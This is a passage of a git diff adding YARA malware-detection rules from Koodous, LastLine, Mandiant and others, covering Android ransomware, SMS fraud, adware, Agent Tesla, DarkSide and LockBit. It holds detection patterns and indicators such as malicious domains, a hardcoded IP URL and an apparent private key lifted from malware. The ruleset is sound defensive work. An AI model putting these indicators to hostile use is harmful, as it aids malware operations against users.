+		$string_a_4 = "121120104150Z"
+		
+		$string_b_1 = "&inbox_timestamp > 0 and is_permanent=1"
+		$string_b_2 = "contact_id = ? AND mimetype = ?"
+		
+		$string_c = "863d9effe70187254d3c5e9c76613a99"
+		
+		$string_d = "nv-sa1"
+
+	condition:
+		(any of ($string_a_*) and any of ($string_b_*) and $string_c and $string_d) or
+		androguard.certificate.sha1("B1BC968BD4F49D622AA89A81F2150152A41D829C") or 	  
+		androguard.certificate.sha1("3FEC88BA49773680E2A3040483806F56E6E8502E") or 
+		androguard.certificate.sha1("B0A4A4880FA5345D6B3B00C0C588A39815D3872E") or 
+		androguard.certificate.sha1("EC2184676D4AE153E63987326666BA0C554A4A60") or 
+		androguard.certificate.sha1("A7394CBAB09D35C69DA7FABB1A7870BE987A5F77")	or
+		androguard.certificate.sha1("A1131C7F816D65670567D6C7041F30E380754022") or
+		androguard.certificate.sha1("4E40663CC29C1FE7A436810C79CAB8F52474133B") or
+		androguard.certificate.sha1("159B4F6C03D43F27339E06ABFD2DE8D8D65516BC") or
+		androguard.certificate.sha1("3EEE4E45B174405D64F877EFC7E5905DCCD73816") or
+		androguard.certificate.sha1("9CE815802A672B75C078D920A5D506BBBAC0D5C9") or
+		androguard.certificate.sha1("C4CF31DBEF79393FD2AD617E79C27BFCF19EFBB3") or
+		androguard.certificate.sha1("2125821BC97CF4B7591E5C771C06C9C96D24DF8F")
+		//97257C6D8F6DA60EA27D2388D9AE252657FF3304 this certification could be stolen
+		//03EA873D5D13707B0C278A0055E452416054E27B this certification could be stolen
+		//B8D5E3F0BCAD2EB03BB34AEE2B3F63FC5162C56B this certification could be stolen
+}
diff --git a/yara-mikesxrs/Koodous/Koodous_index.yara b/yara-mikesxrs/Koodous/Koodous_index.yara
new file mode 100644
index 0000000..5624770
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Koodous_index.yara
@@ -0,0 +1,99 @@
+//Author @jsmesa
+
+import "cuckoo"
+
+rule koler_domains
+{
+	meta:
+		description = "Old Koler.A domains examples"
+		sample = "2e1ca3a9f46748e0e4aebdea1afe84f1015e3e7ce667a91e4cfabd0db8557cbf"
+
+	condition:
+		cuckoo.network.dns_lookup(/police-scan-mobile.com/) or
+		cuckoo.network.dns_lookup(/police-secure-mobile.com/) or
+		cuckoo.network.dns_lookup(/mobile-policeblock.com/) or
+		cuckoo.network.dns_lookup(/police-strong-mobile.com/) or
+		cuckoo.network.dns_lookup(/video-porno-gratuit.eu/) or
+		cuckoo.network.dns_lookup(/video-sartex.us/) or 
+		cuckoo.network.dns_lookup(/policemobile.biz/)
+}
+
+rule koler_builds
+{
+	meta:
+		description = "Koler.A builds"
+
+	strings:
+		$0 = "buildid"
+		$a = "DCEF055EEE3F76CABB27B3BD7233F6E3"
+		$b = "C143D55D996634D1B761709372042474"
+		
+	condition:
+		$0 and ($a or $b)
+		
+}
+
+rule koler_class
+{
+	meta:
+		description = "Koler.A class"
+
+	strings:
+		$0 = "FIND_VALID_DOMAIN"
+		$a = "6589y459"
+		
+	condition:
+		$0 and $a
+		
+}
+
+rule koler_D
+{
+	meta:
+		description = "Koler.D class"
+
+	strings:
+		$0 = "ZActivity"
+		$a = "Lcom/android/zics/ZRuntimeInterface"
+		
+	condition:
+		($0 and $a)
+		
+}
+
+rule dropper:realshell {
+	meta:
+		source = "https://blog.malwarebytes.org/mobile-2/2015/06/complex-method-of-obfuscation-found-in-dropper-realshell/"
+	strings:
+		$a = "hexKey:"
+		$b = "Decrypt.malloc.memset.free.pluginSMS_encrypt.Java_com_skymobi_pay_common_util_LocalDataDecrpty_Encrypt.strcpy"
+	
+	condition:
+		any of them
+}
+
+/*
+//https://koodous.com/#/apks/c77eed5e646b248079507973b2afcf866234001166f6d280870e624932368529
+//https://koodous.com/#/apks/bdfbf9de49e71331ffdfd04839b2b0810802f8c8bb9be93b5a7e370958762836
+//https://koodous.com/#/apks/fcf88c8268a7ac97bf10c323eb2828e2025feea13cdc6554770e7591cded462d
+
+import "androguard"
+
+
+rule mobidash : advertising
+{
+	meta:
+		description = "This rule detects MobiDash advertising"
+		sample = "c77eed5e646b248079507973b2afcf866234001166f6d280870e624932368529"
+
+	strings:
+		$a = "res/raw/ads_settings.json"
+		$b = "IDATx"
+
+	condition:
+		($a or $b) and androguard.activity(/mobi.dash.*//*)
+
+		
+}
+
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/Koodous/MalwareCertificates.yar b/yara-mikesxrs/Koodous/MalwareCertificates.yar
new file mode 100644
index 0000000..6ebb50f
--- /dev/null
+++ b/yara-mikesxrs/Koodous/MalwareCertificates.yar
@@ -0,0 +1,27 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule fraudulents_2 : certificates
+{
+	meta:
+		description = "This rule automatically adds certificates present in malware"
+		author = "https://twitter.com/fdrg21"
+
+	condition:
+		androguard.certificate.sha1("A5D9C9A40A3786D631210E8FCB9CF7A1BC5B3062") or
+		androguard.certificate.sha1("B4142B617997345809736842147F97F46059FDE3") or
+		androguard.certificate.sha1("950A545EA156A0E44B3BAB5F432DCD35005A9B70") or
+		androguard.certificate.sha1("DE18FA0C68E6C9E167262F1F4ED984A5F00FD78C") or
+		androguard.certificate.sha1("81E8E202C539F7AEDF6138804BE870338F81B356") or
+		androguard.certificate.sha1("5A051047F2434DDB2CAA65898D9B19ED9665F759")
+		
+}
diff --git a/yara-mikesxrs/Koodous/Ramsonware.yar b/yara-mikesxrs/Koodous/Ramsonware.yar
new file mode 100644
index 0000000..155d5d8
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Ramsonware.yar
@@ -0,0 +1,111 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+
+*/
+
+import "cuckoo"
+
+rule ransomware : svpeng
+{
+	meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "Ransomware"
+		in_the_wild = true
+
+	strings:
+		$a =  {6e 64 20 79 6f 75 72 27 73 20 64 65 76 69 63 65 20 77 69 6c 6c 20 72 65 62 6f 6f 74 20 61 6e 64}
+		$b = "ADD_DEVICE_ADMI"
+
+	condition:
+		$a and $b
+}
+
+
+rule Ransomware : banker
+{
+	meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "Ransomware Test 2"
+		thread_level = 3
+		in_the_wild = true
+
+	strings:
+
+		$strings_a = "!2,.B99^GGD&R-"
+		$strings_b = "22922222222222222222Q^SAAWA"
+		$strings_c = "t2222222222229222Q^SAAWA"
+
+	
+
+	condition:
+		any of ($strings_*)
+}
+
+rule koler_domains
+{
+	meta:
+ 		author = "https://twitter.com/jsmesa"
+		reference = "https://koodous.com/"
+		description = "Old Koler.A domains examples"
+		sample = "2e1ca3a9f46748e0e4aebdea1afe84f1015e3e7ce667a91e4cfabd0db8557cbf"
+
+	condition:
+		cuckoo.network.dns_lookup(/police-scan-mobile.com/) or
+		cuckoo.network.dns_lookup(/police-secure-mobile.com/) or
+		cuckoo.network.dns_lookup(/mobile-policeblock.com/) or
+		cuckoo.network.dns_lookup(/police-strong-mobile.com/) or
+		cuckoo.network.dns_lookup(/video-porno-gratuit.eu/) or
+		cuckoo.network.dns_lookup(/video-sartex.us/) or 
+		cuckoo.network.dns_lookup(/policemobile.biz/)
+}
+
+rule koler_builds
+{
+	meta:
+		author = "https://twitter.com/jsmesa"
+		reference = "https://koodous.com/"
+		description = "Koler.A builds"
+
+	strings:
+		$0 = "buildid"
+		$a = "DCEF055EEE3F76CABB27B3BD7233F6E3"
+		$b = "C143D55D996634D1B761709372042474"
+		
+	condition:
+		$0 and ($a or $b)
+		
+}
+
+rule koler_class
+{
+	meta:
+		author = "https://twitter.com/jsmesa"
+		reference = "https://koodous.com/"
+		description = "Koler.A class"
+
+	strings:
+		$0 = "FIND_VALID_DOMAIN"
+		$a = "6589y459"
+		
+	condition:
+		$0 and $a
+		
+}
+
+rule koler_D
+{
+	meta:
+		author = "https://twitter.com/jsmesa"
+		reference = "https://koodous.com/"
+		description = "Koler.D class"
+
+	strings:
+		$0 = "ZActivity"
+		$a = "Lcom/android/zics/ZRuntimeInterface"
+		
+	condition:
+		($0 and $a)
+		
+}
diff --git a/yara-mikesxrs/Koodous/SMSsender.yar b/yara-mikesxrs/Koodous/SMSsender.yar
new file mode 100644
index 0000000..5e151a0
--- /dev/null
+++ b/yara-mikesxrs/Koodous/SMSsender.yar
@@ -0,0 +1,99 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule smspay_chinnese : hejupay
+{
+    meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		
+	strings:
+	  $a = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/Jvgb0/jSRWi7i4J9IwO72KZw404kj02A97ExbUefVeE7yyWSTbKw5sYlKXCtaoQwWr19j0Y+xb6+h2BRuNx307BV/QpG6DnPg+Lx8fPPvhbhOudgKb/XuZPaz/GJbTpwzTbBmT+mI1QTRLyAKDxSjGWYvoPFVz82RxcAblV/twIDAQAB"
+
+	  $b = "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAL8m+BvT+NJFaLuLgn0jA7vYpnDjTiSPTYD3sTFtR59V4TvLJZJNsrDmxiUpcK1qhDBavX2PRj7Fvr6HYFG43HfTsFX9CkboOc+D4vHx88++FuE652Apv9e5k9rP8YltOnDNNsGZP6YjVBNEvIAoPFKMZZi+g8VXPzZHFwBuVX+3AgMBAAECgYBLYR6uOqUApoZqjtVia5BpX0Ijej+ygyBZH1Qs3Z9E4iTz42RpkWJKCHdS6Eia2kpOlznqbbmRv4E8uT3ufCvUFexjR5ClGVKJ+XHXxqS75+KT38wGZZ1bW0pK4sT1/aGLrt5/netwuzMi/YFNfAKRPqvRXuNcxNLhMhs2efLKIQJBAPGea2UXVWd0Ti8ClA8hiWPSNCPtcp41Dh2H0YczrFmO2zafPPJih2GQY5txszwBLbjxFCY8/WhrYAqx0itMrgsCQQDKh5U1NfpRvk0Hu8iBRB/LPyGimz+WM/chFSC65SlS/cml3U7hUOj2lRGPz+bm68624H0KLviqpBJpmayvbbyFAkEA1NNFJ9uAx8rDn1b3EcjpmvqqIMdjwYVcNJjQ7/WNJ6nU3+0toxc0xrSHeIGTbhRfsNrxc6kfUV3bUDBHvwog9wJBAI+fRH1ekOwlAqVIUnDw6YcNdwHEDHysz0TDodlHp112Ieign06DPSGYJsMQURNTB92CJsnw82C3R2Nhmicxr60CQQCN466JF9GJRZipO64OYw/ElMac7vXgTeGMvYZ2/yfX5CRCLua4DygD1Ju0eMXpea9og/EtwCTV0RVpFc9SSN8V"
+
+	condition:
+		$a or $b
+}
+
+
+rule smsfraud : ganga
+{
+	meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "smsfraud chinese"
+		sample = "e6ef34577a75fc0dc0a1f473304de1fc3a0d7d330bf58448db5f3108ed92741b"
+
+	strings:
+		$string_a_1 = "HHHEEEEEEBBBBBB??????;;;;;;888888444444000000,,,,,,''''''''''''######OOO###"
+		$string_a_2 = "2e6081a2-a063-45c7-ab90-5db596e42c7c"
+
+	condition:
+		androguard.package_name("com.yr.sx") or
+		all of ($string_a_*) or
+		androguard.activity(/com.snowfish.cn.ganga.offline.helper.SFGameSplashActivity/)
+		
+		
+}
+
+
+rule sms_fraud : MSACM32
+{
+		meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "sms-fraud examples"
+		sample = "8b9cabd2dafbba57bc35a19b83bf6027d778f3b247e27262ced618e031f9ca3d c52112b45164b37feeb81e0b5c4fcbbed3cfce9a2782a2a5001fb37cfb41e993"
+
+	strings:
+		$string_a = "MSACM32.dll"
+		$string_b = "android.provider.Telephony.SMS_RECEIVED"
+		$string_c = "MAIN_TEXT_TAG"
+
+	condition:
+		all of ($string_*) and
+		androguard.permission(/android.permission.SEND_SMS/)
+		
+}
+
+rule sms_fraud_gen : generic
+{
+		meta:
+		author = "Fernando Denis https://twitter.com/fdrg21"
+		reference = "https://koodous.com/"
+		description = "This is just an example"
+		thread_level = 3
+		in_the_wild = true
+
+	strings:
+		$a = "080229013346Z"
+		$c = "350717013346Z0"
+		$b = "NUMBER_CHAR_EXP_SIGN"
+
+	condition:
+		$a and $b and $c and
+		androguard.permission(/android.permission.SEND_SMS/)
+}
+
+rule smsfraud_apk
+{
+	meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+		description = "This rule detects apks related with sms fraud"
+		sample = "79b35a99f16de6912d6193f06361ac8bb75ea3a067f3dbc1df055418824f813c"
+
+	condition:
+		androguard.certificate.sha1("9E1B8719D80656E9EADAAB4251B2CFB4C8188835")
+		
+}
diff --git a/yara-mikesxrs/Koodous/Tinhvan.yar b/yara-mikesxrs/Koodous/Tinhvan.yar
new file mode 100644
index 0000000..f9b8a55
--- /dev/null
+++ b/yara-mikesxrs/Koodous/Tinhvan.yar
@@ -0,0 +1,24 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule tinhvan
+{
+	meta:
+	  author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+		sample = "0f7e995ff7075af2d0f8d60322975d610e888884922a89fda9a61c228374c5c5"
+
+	condition:
+		androguard.certificate.sha1("0DFBBDB7735517748C3DEF3B6DEC2A800182D1D5")
+		
+}
diff --git a/yara-mikesxrs/Koodous/generic_adware.yar b/yara-mikesxrs/Koodous/generic_adware.yar
new file mode 100644
index 0000000..11a3052
--- /dev/null
+++ b/yara-mikesxrs/Koodous/generic_adware.yar
@@ -0,0 +1,20 @@
+rule dowgin:adware
+{
+    meta:
+        author = "https://twitter.com/plutec_net"
+        reference = "https://koodous.com/"
+        sample = "4d7f2d6ff4ed8ced6f8f7f96e9899273cc3090ea108f2cc3b32dd1a06e63cf70"
+        sample2 = "cde8160d09c486bdd6d96b2ed81bd52390d77094d13ff9cfbc6949ed00206a83"
+        sample3 = "d2e81e6db5f4964246d10241588e0e97cde524815c4de7c0ea1c34a48da1bcaf"
+        sample4 = "cc2d0b3d8f00690298b0e5813f6ace8f4d4b04c9704292407c2b83a12c69617b"
+
+    strings:
+        $a = "http://112.74.111.42:8000"
+        $b = "SHA1-Digest: oIx4iYWeTtKib4fBH7hcONeHuaE="
+        $c = "ONLINEGAMEPROCEDURE_WHICH_WAP_ID"
+        $d = "http://da.mmarket.com/mmsdk/mmsdk?func=mmsdk:posteventlog"
+
+    condition:
+        all of them
+        
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Koodous/generic_smsfraud.yar b/yara-mikesxrs/Koodous/generic_smsfraud.yar
new file mode 100644
index 0000000..ebd619d
--- /dev/null
+++ b/yara-mikesxrs/Koodous/generic_smsfraud.yar
@@ -0,0 +1,38 @@
+rule genericSMS : smsFraud
+{
+	meta:
+	    	author = "https://twitter.com/plutec_net"
+            	reference = "https://koodous.com/"
+	    	sample = "3fc533d832e22dc3bc161e5190edf242f70fbc4764267ca073de5a8e3ae23272"
+	    	sample2 = "3d85bdd0faea9c985749c614a0676bb05f017f6bde3651f2b819c7ac40a02d5f"
+
+	strings:
+		$a = "SHA1-Digest: +RsrTx5SNjstrnt7pNaeQAzY4kc="
+		$b = "SHA1-Digest: Rt2oRts0wWTjffGlETGfFix1dfE="
+		$c = "http://image.baidu.com/wisebrowse/index?tag1=%E6%98%8E%E6%98%9F&tag2=%E5%A5%B3%E6%98%8E%E6%98%9F&tag3=%E5%85%A8%E9%83%A8&pn=0&rn=10&fmpage=index&pos=magic#/channel"
+		$d = "pitchfork=022D4"
+
+	condition:
+		all of them
+		
+}
+
+rule genericSMS2 : smsFraud
+{
+	meta:
+		author = "https://twitter.com/plutec_net"
+                reference = "https://koodous.com/"
+		sample = "1f23524e32c12c56be0c9a25c69ab7dc21501169c57f8d6a95c051397263cf9f"
+		sample2 = "2cf073bd8de8aad6cc0d6ad5c98e1ba458bd0910b043a69a25aabdc2728ea2bd"
+		sample3 = "20575a3e5e97bcfbf2c3c1d905d967e91a00d69758eb15588bdafacb4c854cba"
+
+	strings:
+		$a = "NotLeftTriangleEqual=022EC"
+		$b = "SHA1-Digest: X27Zpw9c6eyXvEFuZfCL2LmumtI="
+		$c = "_ZNSt12_Vector_baseISsSaISsEE13_M_deallocateEPSsj"
+		$d = "FBTP2AHR3WKC6LEYON7D5GZXVISMJ4QU"
+
+	condition:
+		all of them
+		
+}
diff --git a/yara-mikesxrs/Koodous/koler_ransomware.yar b/yara-mikesxrs/Koodous/koler_ransomware.yar
new file mode 100644
index 0000000..b87493a
--- /dev/null
+++ b/yara-mikesxrs/Koodous/koler_ransomware.yar
@@ -0,0 +1,62 @@
+//Author @jsmesa
+
+import "cuckoo"
+
+rule koler_domains
+{
+	meta:
+		description = "Old Koler.A domains examples"
+		sample = "2e1ca3a9f46748e0e4aebdea1afe84f1015e3e7ce667a91e4cfabd0db8557cbf"
+
+	condition:
+		cuckoo.network.dns_lookup(/police-scan-mobile.com/) or
+		cuckoo.network.dns_lookup(/police-secure-mobile.com/) or
+		cuckoo.network.dns_lookup(/mobile-policeblock.com/) or
+		cuckoo.network.dns_lookup(/police-strong-mobile.com/) or
+		cuckoo.network.dns_lookup(/video-porno-gratuit.eu/) or
+		cuckoo.network.dns_lookup(/video-sartex.us/) or 
+		cuckoo.network.dns_lookup(/policemobile.biz/)
+}
+
+rule koler_builds
+{
+	meta:
+		description = "Koler.A builds"
+
+	strings:
+		$0 = "buildid"
+		$a = "DCEF055EEE3F76CABB27B3BD7233F6E3"
+		$b = "C143D55D996634D1B761709372042474"
+		
+	condition:
+		$0 and ($a or $b)
+		
+}
+
+rule koler_class
+{
+	meta:
+		description = "Koler.A class"
+
+	strings:
+		$0 = "FIND_VALID_DOMAIN"
+		$a = "6589y459"
+		
+	condition:
+		$0 and $a
+		
+}
+
+rule koler_D
+{
+	meta:
+		description = "Koler.D class"
+
+	strings:
+		$0 = "ZActivity"
+		$a = "Lcom/android/zics/ZRuntimeInterface"
+		
+	condition:
+		($0 and $a)
+		
+}
diff --git a/yara-mikesxrs/Koodous/malware_Advertising.yar b/yara-mikesxrs/Koodous/malware_Advertising.yar
new file mode 100644
index 0000000..8dd4ea2
--- /dev/null
+++ b/yara-mikesxrs/Koodous/malware_Advertising.yar
@@ -0,0 +1,22 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule leadbolt : advertising
+{
+	meta:
+	  author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+		description = "Leadbolt"
+		
+	condition:
+		androguard.url(/http:\/\/ad.leadbolt.net/)
+}
diff --git a/yara-mikesxrs/Koodous/malware_Dropper.yar b/yara-mikesxrs/Koodous/malware_Dropper.yar
new file mode 100644
index 0000000..3557401
--- /dev/null
+++ b/yara-mikesxrs/Koodous/malware_Dropper.yar
@@ -0,0 +1,16 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as
+    long as you use it under this license.
+*/
+
+rule dropper:realshell {
+    meta:
+        author = "https://twitter.com/plutec_net"
+        reference = "https://koodous.com/"
+        source = "https://blog.malwarebytes.org/mobile-2/2015/06/complex-method-of-obfuscation-found-in-dropper-realshell/"
+    strings:
+        $b = "Decrypt.malloc.memset.free.pluginSMS_encrypt.Java_com_skymobi_pay_common_util_LocalDataDecrpty_Encrypt.strcpy"
+    
+    condition:
+        $b
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Koodous/mobidash.yar b/yara-mikesxrs/Koodous/mobidash.yar
new file mode 100644
index 0000000..09ecca9
--- /dev/null
+++ b/yara-mikesxrs/Koodous/mobidash.yar
@@ -0,0 +1,25 @@
+/*
+//https://koodous.com/#/apks/c77eed5e646b248079507973b2afcf866234001166f6d280870e624932368529
+//https://koodous.com/#/apks/bdfbf9de49e71331ffdfd04839b2b0810802f8c8bb9be93b5a7e370958762836
+//https://koodous.com/#/apks/fcf88c8268a7ac97bf10c323eb2828e2025feea13cdc6554770e7591cded462d
+
+import "androguard"
+
+
+rule mobidash : advertising
+{
+	meta:
+		description = "This rule detects MobiDash advertising"
+		sample = "c77eed5e646b248079507973b2afcf866234001166f6d280870e624932368529"
+
+	strings:
+		$a = "res/raw/ads_settings.json"
+		$b = "IDATx"
+
+	condition:
+		($a or $b) and androguard.activity(/mobi.dash.*//*)
+
+		
+}
+
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/Koodous/realshell.yar b/yara-mikesxrs/Koodous/realshell.yar
new file mode 100644
index 0000000..493293b
--- /dev/null
+++ b/yara-mikesxrs/Koodous/realshell.yar
@@ -0,0 +1,10 @@
+rule dropper:realshell {
+	meta:
+		source = "https://blog.malwarebytes.org/mobile-2/2015/06/complex-method-of-obfuscation-found-in-dropper-realshell/"
+	strings:
+		$a = "hexKey:"
+		$b = "Decrypt.malloc.memset.free.pluginSMS_encrypt.Java_com_skymobi_pay_common_util_LocalDataDecrpty_Encrypt.strcpy"
+	
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Koodous/xbot007.yar b/yara-mikesxrs/Koodous/xbot007.yar
new file mode 100644
index 0000000..b89511f
--- /dev/null
+++ b/yara-mikesxrs/Koodous/xbot007.yar
@@ -0,0 +1,16 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+
+rule xbot007
+{
+	meta:
+		reference = "https://github.com/maldroid/maldrolyzer/blob/master/plugins/xbot007.py"
+
+	strings:
+		$a = "xbot007"
+
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/LastLine/AgentTesla.yar b/yara-mikesxrs/LastLine/AgentTesla.yar
new file mode 100644
index 0000000..2509adc
--- /dev/null
+++ b/yara-mikesxrs/LastLine/AgentTesla.yar
@@ -0,0 +1,12 @@
+rule Agent_Tesla : Agent_Tesla
+{
+     meta:
+          author = "LastLine"
+          reference = "https://www.lastline.com/labsblog/surge-of-agent-tesla-threat-report/"
+     strings:
+          $pass = "amp4Z0wpKzJ5Cg0GDT5sJD0sMw0IDAsaGQ1Afik6NwXr6rrSEQE=" fullword ascii wide nocase
+          $salt = "aGQ1Afik6NampDT5sJEQE4Z0wpsMw0IDAD06rrSswXrKzJ5Cg0G=" fullword ascii wide nocase
+ 
+     condition:
+           uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
+}
diff --git a/yara-mikesxrs/M4r14ch1/Havex_NetScan.yar b/yara-mikesxrs/M4r14ch1/Havex_NetScan.yar
new file mode 100644
index 0000000..031b685
--- /dev/null
+++ b/yara-mikesxrs/M4r14ch1/Havex_NetScan.yar
@@ -0,0 +1,16 @@
+rule Havex_NetScan_Malware {
+meta:
+        description = "This rule will search for known indicators of a Havex Network Scan module infection. This module looks for hosts listening on known ICS-related ports to identify OPC or ICS systems and the file created when the scanning data is written."
+        author = "M4r14ch1"
+        reference = "https://github.com/M4r14ch1/Havex-Network-Scanner-Modules"
+        date = "2015/12/21"
+        strings:
+                $s0 = "~tracedscn.yls" wide nocase //yls file created in temp directory
+                $s1 = { 2B E2 ?? }      //Measuresoft ScadaPro
+                $s2 = { 30 71 ?? }      //7-Technologies IGSS SCADA
+               /* $s3 = { 0A F1 2? }      //Rslinx*/
+            
+        condition:
+                $s0 and ($s1 or $s2 /*or $s3*/)
+}
+
diff --git a/yara-mikesxrs/Mandiant/Backdoor_Win_C3_1.yar b/yara-mikesxrs/Mandiant/Backdoor_Win_C3_1.yar
new file mode 100644
index 0000000..7191dd5
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/Backdoor_Win_C3_1.yar
@@ -0,0 +1,20 @@
+rule Backdoor_Win_C3_1
+{
+    meta:
+        author = "FireEye"
+        date_created = "2021-05-11"
+        description = "Detection to identify the Custom Command and Control (C3) binaries."
+        reference = "https://www.mandiant.com/resources/shining-a-light-on-darkside-ransomware-operations"
+        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
+    strings:
+        $dropboxAPI = "Dropbox-API-Arg"
+        $knownDLLs1 = "WINHTTP.dll" fullword
+        $knownDLLs2 = "SHLWAPI.dll" fullword
+        $knownDLLs3 = "NETAPI32.dll" fullword
+        $knownDLLs4 = "ODBC32.dll" fullword
+        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
+        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
+        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
+    condition:
+        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))
+    }
diff --git a/yara-mikesxrs/Mandiant/Dropper_Win_Darkside_1.yar b/yara-mikesxrs/Mandiant/Dropper_Win_Darkside_1.yar
new file mode 100644
index 0000000..b3020d9
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/Dropper_Win_Darkside_1.yar
@@ -0,0 +1,19 @@
+rule Dropper_Win_Darkside_1
+{
+    meta:
+        author = "FireEye"
+        date_created = "2021-05-11"
+        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
+        reference = "https://www.mandiant.com/resources/shining-a-light-on-darkside-ransomware-operations"
+    strings:
+        $CommonDLLs1 = "KERNEL32.dll" fullword
+        $CommonDLLs2 = "USER32.dll" fullword
+        $CommonDLLs3 = "ADVAPI32.dll" fullword
+        $CommonDLLs4 = "ole32.dll" fullword
+        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
+        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
+        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
+    condition:
+        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes
+}
+
diff --git a/yara-mikesxrs/Mandiant/LOCKBIT_Note_PE_v1.yar b/yara-mikesxrs/Mandiant/LOCKBIT_Note_PE_v1.yar
new file mode 100644
index 0000000..4aa6b79
--- /dev/null
+++ b/yara-mikesxrs/Mandiant/LOCKBIT_Note_PE_v1.yar
@@ -0,0 +1,32 @@
+rule LOCKBIT_Note_PE_v1
+
+{
+    meta:
+    reference = "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions"
+    
+    strings:
+
+ 
+
+        $onion = /http:\/\/lockbit[a-z0-9]{9,49}.onion/ ascii wide
+
+        $note1 = "restore-my-files.txt" nocase ascii wide
+
+        $note2 = /lockbit[_-](ransomware|note)\.hta/ nocase ascii wide
+
+        $v2 = "LockBit_2_0_Ransom" nocase wide
+
+ 
+
+    condition:
+
+ 
+
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550)
+
+        and $onion
+
+        and (all of ($note*)) and not $v2
+}
+
+
diff --git a/yara-mikesxrs/Mandiant/LOCKBIT_Note_PE_v2.yar b/yara-mikesxrs/Mandiant/LOCKBIT_Note_PE_v2.yar
new file mode 100644
index 0000000..3759598
--- /dev/null
